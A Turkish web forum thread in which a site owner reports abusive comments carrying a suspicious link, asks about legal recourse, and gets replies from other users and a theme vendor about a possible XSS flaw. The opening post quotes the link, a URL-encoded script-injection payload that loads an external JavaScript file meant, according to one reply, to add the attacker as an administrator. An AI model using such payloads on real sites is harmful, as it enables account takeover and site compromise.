Web sitesine gelen küfürlü yorumun cezası varmı uğraştığıma değermi?

Question

İki gündür web siteme küfürlü yorum bırakılıyor yorumda .js uzantılı birde link bırakılıyor linke tıklamadım. Normalde mahkeme vs sevmediğim işlerdir fakat gerektiğinde yapılan saygısızlığın ve haksızlığında cezasının çekilmesi için ne gerekiyorsa yaparım. Daha önce tecrübe eden arkadaşlar şikayetçi olsam bu kişi ceza alırmı eğer alırsa bireysel olarakmı başvurayım avukat aracılığı ile mi?
.js dosyasının zararlı olup olmadığını nasıl anlayabilirim şikayetçi olursam dosyaya eklemek için?

Bıraktığı link bu şekilde

ttps://benimsite.com/sinema/?list=populer-fragmanlar%22%3E%3Cscript%20src=ttps://yorumyazanınsitesi.com/sss.js%3E%3C/script%3

akdemir · Answer

ip adresleri varsa suç her yerde suç hocam.

Oyun_Bozan · Answer

akdemir adlı üyeden alıntı:						mesajı görüntüle									ip adresleri varsa suç her yerde suç hocam. 		Dün 212. lı ip den bugünde  5. lı ip den yorumları atmış ikiside izmir görünüyor.

oguzhangemma · Answer

Büyük ihtimalle VPN kullanıyordur, o yüzden uğraşmaya değmez.

RakipsizHizmet · Answer

Account Suspended yemiş. Uğraşmaya değmez engelle geç.

Oyun_Bozan · Answer

RakipsizHizmet adlı üyeden alıntı:						mesajı görüntüle									Account Suspended yemiş. Uğraşmaya değmez engelle geç. 		Linki ben değiştirdim .js dosyasında virüs vs varsa diye normalde site adresleri bunlar değil

RakipsizHizmet · Answer

Oyun_Bozan adlı üyeden alıntı:						mesajı görüntüle									Linki ben değiştirdim .js dosyasında virüs vs varsa diye normalde site adresleri bunlar değil 		Büyük ihtimal yönlendirme kodu vadır +18 sitelere

RemziKurcan · Answer

Self xss ile admin girişlerinizi almaya çalışıyor, veya kendini admin eklemeye, asla tıklamayın, js linkini atarsanız incelerim ne yapmaya çalıştığını.
Ayrıca bu saldırıyı yapıyor ise ilgili sayfada xss açığı var demektir.

Oyun_Bozan · Answer

RemziKurcan adlı üyeden alıntı:						mesajı görüntüle									Self xss ile admin girişlerinizi almaya çalışıyor, veya kendini admin eklemeye, asla tıklamayın, js linkini atarsanız incelerim ne yapmaya çalıştığını.
Ayrıca bu saldırıyı yapıyor ise ilgili sayfada xss açığı var demektir. 		Linki sitedeki yazının yorum kısmına yazıyor şuan için siteye herhangi bir zarar vermiyor linki pm ile iletiyorum.

RemziKurcan · Answer

Oyun_Bozan adlı üyeden alıntı:						mesajı görüntüle									Linki sitedeki yazının yorum kısmına yazıyor şuan için siteye herhangi bir zarar vermiyor linki pm ile iletiyorum. 		olay siteye zarar vermesi değil, siz tıkladığınız anda arkada js kodu çalıştırıp sizin bigisayarınıza işlem yaptırıyor, sanırım tema "Haber***m", JS kodunu da inceledim dediğim gibi kendini admin olarak eklemeye çalışıyor. tıklamadığınız sürece sorun yaşamazsınız.

Oyun_Bozan · Answer

RemziKurcan adlı üyeden alıntı: mesajı görüntüle

Bastırılıyor hocam, özelden örnek link iletiyorum.

Merhaba,

Bilgi için teşekkür ederiz.

@Oyun_Bozan; Hosting sunucu bilgilerinizi bizlere destek talebi açarak iletebilirseniz sitenizde kontrol sağlamak istiyoruz. Genel olarak temada bu şekilde bir işlem bulunmamaktadır ancak siteniz tarafında XSS için farklı bir durum olabilir. Bizlere bilgilerinizi destek talebi açarak iletebilirsiniz.

RemziKurcan · Answer

Oyun_Bozan adlı üyeden alıntı:						mesajı görüntüle									Teşekkürler linke tıklamadım yorumlarda onaylanmadan yayınlanmadığı için şuan sadece admin panelde bekliyorlar. 		İlgili tema sahibine bildirdim açığı, kapatırlar muhtemelen.

Temadam · Answer

RemziKurcan adlı üyeden alıntı:						mesajı görüntüle									İlgili tema sahibine bildirdim açığı, kapatırlar muhtemelen. 		Merhaba,

Öncelikle ilginiz için teşekkür ederiz. Gerekli kontrolleri sağladık. İlgili $_GET isteği sayfaya bastırılmadığı için herhangi bir açık bulunmamaktadır. Bu şekilde bir XSS açığı temamızda mevcut değildir.

RemziKurcan · Answer

Temadam adlı üyeden alıntı:						mesajı görüntüle									Merhaba,

Öncelikle ilginiz için teşekkür ederiz. Gerekli kontrolleri sağladık. İlgili $_GET isteği sayfaya bastırılmadığı için herhangi bir açık bulunmamaktadır. Bu şekilde bir XSS açığı temamızda mevcut değildir. 		Bastırılıyor hocam, özelden örnek link iletiyorum.

Temadam · Answer

RemziKurcan adlı üyeden alıntı:						mesajı görüntüle									Bastırılıyor hocam, özelden örnek link iletiyorum. 		Merhaba,

Bilgi için teşekkür ederiz.

@Oyun_Bozan; Hosting sunucu bilgilerinizi bizlere destek talebi açarak iletebilirseniz sitenizde kontrol sağlamak istiyoruz. Genel olarak temada bu şekilde bir işlem bulunmamaktadır ancak siteniz tarafında XSS için farklı bir durum olabilir. Bizlere bilgilerinizi destek talebi açarak iletebilirsiniz.